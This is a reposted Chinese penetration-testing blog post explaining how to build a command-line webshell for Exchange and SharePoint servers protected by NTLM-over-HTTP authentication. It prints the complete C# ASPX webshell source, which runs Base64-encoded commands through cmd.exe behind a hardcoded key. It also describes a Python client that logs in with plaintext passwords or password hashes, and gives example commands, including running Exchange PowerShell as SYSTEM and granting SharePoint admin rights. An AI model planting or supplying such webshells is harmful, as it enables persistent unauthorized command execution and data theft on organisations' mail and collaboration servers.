7

渗透基础——支持NTLM Over HTTP协议的Webshell实现

 3 years ago
source link: https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%94%AF%E6%8C%81NTLM-Over-HTTP%E5%8D%8F%E8%AE%AE%E7%9A%84Webshell%E5%AE%9E%E7%8E%B0
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

渗透基础——支持NTLM Over HTTP协议的Webshell实现

30 Jan 2021

0x00 前言


在某些环境下,访问Web服务器的资源需要通过NTLM Over HTTP协议进行NTLM认证,而我们在这样的Web服务器使用Webshell时,不仅需要考虑NTLM认证的实现,还需要满足能够在命令行下使用。

本文仅在技术研究的角度介绍一种实现方法,开源代码,分享脚本开发细节。

0x01 简介


本文将要介绍以下内容:

  • 脚本开发细节

0x02 设计思路


通过NTLM Over HTTP协议进行NTLM认证的Web服务器有很多,这里分别以Exchange和SharePoint为例

(1)Exchange测试环境

文件保存的绝对路径:

C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx

对应的URL为:

https://URL/Autodiscover/test.aspx

(2)SharePoint测试环境

文件保存的绝对路径:

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx

对应的URL为:

http://URL/_layouts/15/test.aspx

访问test.aspx时均需要通过NTLM Over HTTP协议进行NTLM认证

这里以一个支持cmd命令的webshell为例进行测试,webshell的地址为:

https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx

Alt text

这个webshell需要通过浏览器进行操作,首先完成NTLM认证,接着填入正确的Auth Key和要执行的cmd命令

我们的目标是满足能够在命令行下使用,可以以此为模板进行修改,设计思路如下:

(1)execCmd.aspx

接收Form表单请求作为参数,对Auth Key进行验证

如果验证失败,返回空结果

如果验证成功,执行传入的cmd命令并返回执行结果

(2)aspxCmdNTLM.py

命令行脚本

首先通过NTLM Over HTTP协议完成NTLM认证,这里需要支持明文和用户口令hash两种登录方式

通过Form表单请求发送Auth Key和要执行的cmd命令,接收cmd命令的执行结果

execCmd.aspx和aspxCmdNTLM.py的通信内容作Base64编码,在程序实现上需要考虑Base64编码和解码

0x03 脚本开发细节


1.execCmd.aspx

使用Page_Load方法接收Form表单请求,其中data1用作Auth Key,data2用作cmd命令

Base64编码的实现:

byte[] enbytes = Encoding.Default.GetBytes(string1);
string string2 = Convert.ToBase64String(enbytes);

Base64解码的实现:

byte[] outbyte = Convert.FromBase64String(string1);
string string2 = Encoding.Default.GetString(outbyte);

完整的实现代码如下:

<%@ Page Language="C#"%>
<%@ Import namespace="System.Diagnostics"%>
<%@ Import Namespace="System.IO"%>

<script runat="server">
    private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";
    protected void Page_Load(object sender, EventArgs e)
    {    
        string data1 = Request.Form["data1"];
        if (data1 != AUTHKEY)
        {          
            return;
        }
        string data2 = Request.Form["data2"];
        byte[] outbyte = Convert.FromBase64String(data2);
        string payload = Encoding.Default.GetString(outbyte);              
        string outstr1 = ExecuteCommand(payload);
        byte[] enbytes = Encoding.Default.GetBytes(outstr1);
        string outstr2 = Convert.ToBase64String(enbytes);
        Response.Write(outstr2);
    }

    private string ExecuteCommand(string command)
    {
        try
        {
            ProcessStartInfo processStartInfo = new ProcessStartInfo();
            processStartInfo.FileName = "cmd.exe";
            processStartInfo.Arguments = "/c " + command;
            processStartInfo.RedirectStandardOutput = true;
            processStartInfo.UseShellExecute = false;
            Process process = Process.Start(processStartInfo);
            using (StreamReader streamReader = process.StandardOutput)
            {
                string ret = streamReader.ReadToEnd();
                return ret;
            }
        }
        catch (Exception ex)
        {
            return ex.ToString();
        }
    }
</script>

2.aspxCmdNTLM.py

NTLM认证的实现可以参考之前的代码:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py

支持明文和用户口令hash两种登录方式

Form表单请求通过POST方式发送

Base64编码和解码需要注意字符串的格式

完整的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py

execCmd.aspx需要保存在Web服务器

aspxCmdNTLM.py在命令行下执行,连接execCmd.aspx执行cmd命令并获得返回结果

aspxCmdNTLM.py支持明文和用户口令hash两种登录方式

对于Exchange服务器,对应的Webshell权限为System

Alt text

可以直接调用Exchange PowerShell

命令示例:

python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\""

结果如下图

Alt text

对于SharePoint服务器,对应的Webshell权限为用户权限

Alt text

可以尝试调用SharePointServer PowerShell

命令示例:

python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\""

这里需要注意,用户需要配置为能够访问数据库才能够执行SharePointServer PowerShell命令

查看可访问数据库的用户列表对应的Powershell命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;
Get-SPShellAdmin

添加指定用户访问数据库权限对应的Powershell命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;
Add-SPShellAdmin Domain\User1

删除指定用户访问数据库权限对应的Powershell命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;
Remove-SPShellAdmin Domain\User1 -Confirm:$false

正常的结果如下图

Alt text

0x04 小结


本文以Exchange和SharePoint为例,介绍了支持NTLM Over HTTP协议的Webshell实现思路,开源代码,分享脚本开发细节。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK